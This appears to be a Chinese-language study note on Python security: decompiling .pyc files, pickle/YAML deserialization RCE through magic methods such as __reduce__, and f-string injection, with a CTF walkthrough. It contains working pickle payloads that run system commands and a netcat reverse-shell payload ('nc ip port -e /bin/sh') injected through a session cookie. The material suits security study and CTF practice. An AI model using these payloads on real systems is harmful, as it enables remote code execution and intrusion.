71:Python安全 & 反序列化 & PYC反编译 & 格式化字符串安全

一、PYC 文件反编译

1. 什么是 pyc?

  • .pyc 是 .py 编译后的字节码文件
  • 类似 Java 的 .class,跨平台,源码被隐藏
  • 代码修改后会重新生成新 pyc

2. 反编译工具

  • 工具:uncompyle6​

  • 安装:

    复制代码
    pip install uncompyle6
  • 使用:

    复制代码
    uncompyle6 -o . test.pyc

    ​-o .​ 表示输出到当前目录,还原出 .py​ 源码

3. 用途

  • CTF 常见:给 pyc 让你反编译看逻辑拿 flag
  • 实战少见,一般用于源码泄露场景

二、Python 反序列化(核心重点)

1. 序列化 / 反序列化含义

  • 序列化:对象 → 字节流(方便存储/传输)
  • 反序列化:字节流 → 对象(危险点:可控数据反序列化可RCE)

2. 常见库与函数

类型 序列化 反序列化
pickle dumps() / dump() loads() / load()
json dumps() / dump() loads() / load()
yaml dump() load()
marshal dump() load()

危险点:

  • pickle、marshal、PyYAML(load) 可控输入 = 高危漏洞
  • json 相对安全,一般不会直接RCE

3. Python 反序列化魔术方法(RCE 核心)

(1)__reduce__​

反序列化时自动调用,最常用的RCE构造方法

复制代码
import pickle
import os

class R:
    def __reduce__(self):
        return (os.system, ('calc',))

data = pickle.dumps(R())
pickle.loads(data)  # 弹计算器
(2)__reduce_ex__​

作用同 __reduce__​,只是带协议版本参数

复制代码
def __reduce_ex__(self, protocol):
    return (os.system, ('calc',))
(3)__setstate__​

反序列化时触发,需要对象有属性(__dict__​不为空)

复制代码
class R:
    def __setstate__(self, state):
        os.system('calc')

r = R()
r.a = 1  # 必须有属性
(4)__getstate__​

序列化时触发,不是反序列化

复制代码
def __getstate__(self):
    os.system('calc')

4. 黑盒识别特征

  • pickle 序列化后 base64 常以 gA 开头
  • 出现在:Cookie、GET/POST 参数、session

三、CTF 案例:Pickle Store 思路

  1. 抓包发现 session 是 gA​ 开头 base64

  2. 解码反序列化看到:

    复制代码
    {'money':500, 'history':[], 'anti_tamper_hmac':'...'}
  3. 直接改 money 会失败:有防篡改校验(hmac)

  4. 改用反序列化 RCE:

    复制代码
    class A:
        def __reduce__(self):
            return (eval, ("__import__('os').system('nc ip port -e /bin/sh')",))
  5. 生成 payload → base64 → 替换 session → 反弹 shell


四、Python 格式化字符串漏洞

1. 危险点:f-string 可执行表达式

Python3.6+ 支持 f-string,{}​ 内可直接跑代码:

复制代码
f'{__import__("os").system("calc")}'

2. 常见危险格式化方式

  • %s 格式化
  • string.Template
  • .format()
  • f"{xxx}"(最强、最容易出RCE)

3. 漏洞场景

用户可控内容直接进 f-string,可导致:

  • 读配置、读源码
  • 执行系统命令 RCE

五、一句话核心总结

  1. pyc 用 uncompyle6 反编译看源码
  2. pickle反序列化 可控输入 = 直接RCE,重点找 reduce
  3. 黑盒看 gA 开头base64,大概率是pickle
  4. f-string 格式化可控 = 代码执行漏洞
  5. CTF/实战思路:找反序列化入口 → 构造payload → RCE/改数据

如果你要,我可以把这份笔记再压缩成一页速背版,方便你直接背诵复习。

相关推荐
CTA终结者27 分钟前
期货量化主力换月程序怎么移仓:天勤 underlying_symbol 与任务切换
python·区块链
huangdong_29 分钟前
1688商品图片采集技术解析:登录态处理与SKU图自动分类
开发语言
马士兵教育29 分钟前
Java还有前景吗?Java+AI大模型学习路线及项目?
java·人工智能·python·学习·机器学习
chase_my_dream40 分钟前
C++ + SLAM 高频面试问题整理
开发语言·c++·面试
KaMeidebaby1 小时前
卡梅德生物技术快报|纯化重组蛋白实操详解
人工智能·python·tcp/ip·算法·机器学习
Cloud_Shy6181 小时前
解读《Effective Python 3rd Edition》:从练气到老魔(第五章 Item 30 - 32)
开发语言·人工智能·笔记·python·学习方法
galaxylove1 小时前
Gartner发布创新洞察:AI SOC智能体加速通信运营商安全运营转型
大数据·人工智能·安全
天佑木枫1 小时前
15天Python入门系列 · 序
开发语言·python
happylifetree1 小时前
Python017-第二章15.数据容器-dict常用操作
python
装不满的克莱因瓶2 小时前
了解 LangChain 中的 LLM 与 ChatModel 的差异
人工智能·python·ai·langchain·llm·agent·chatmodel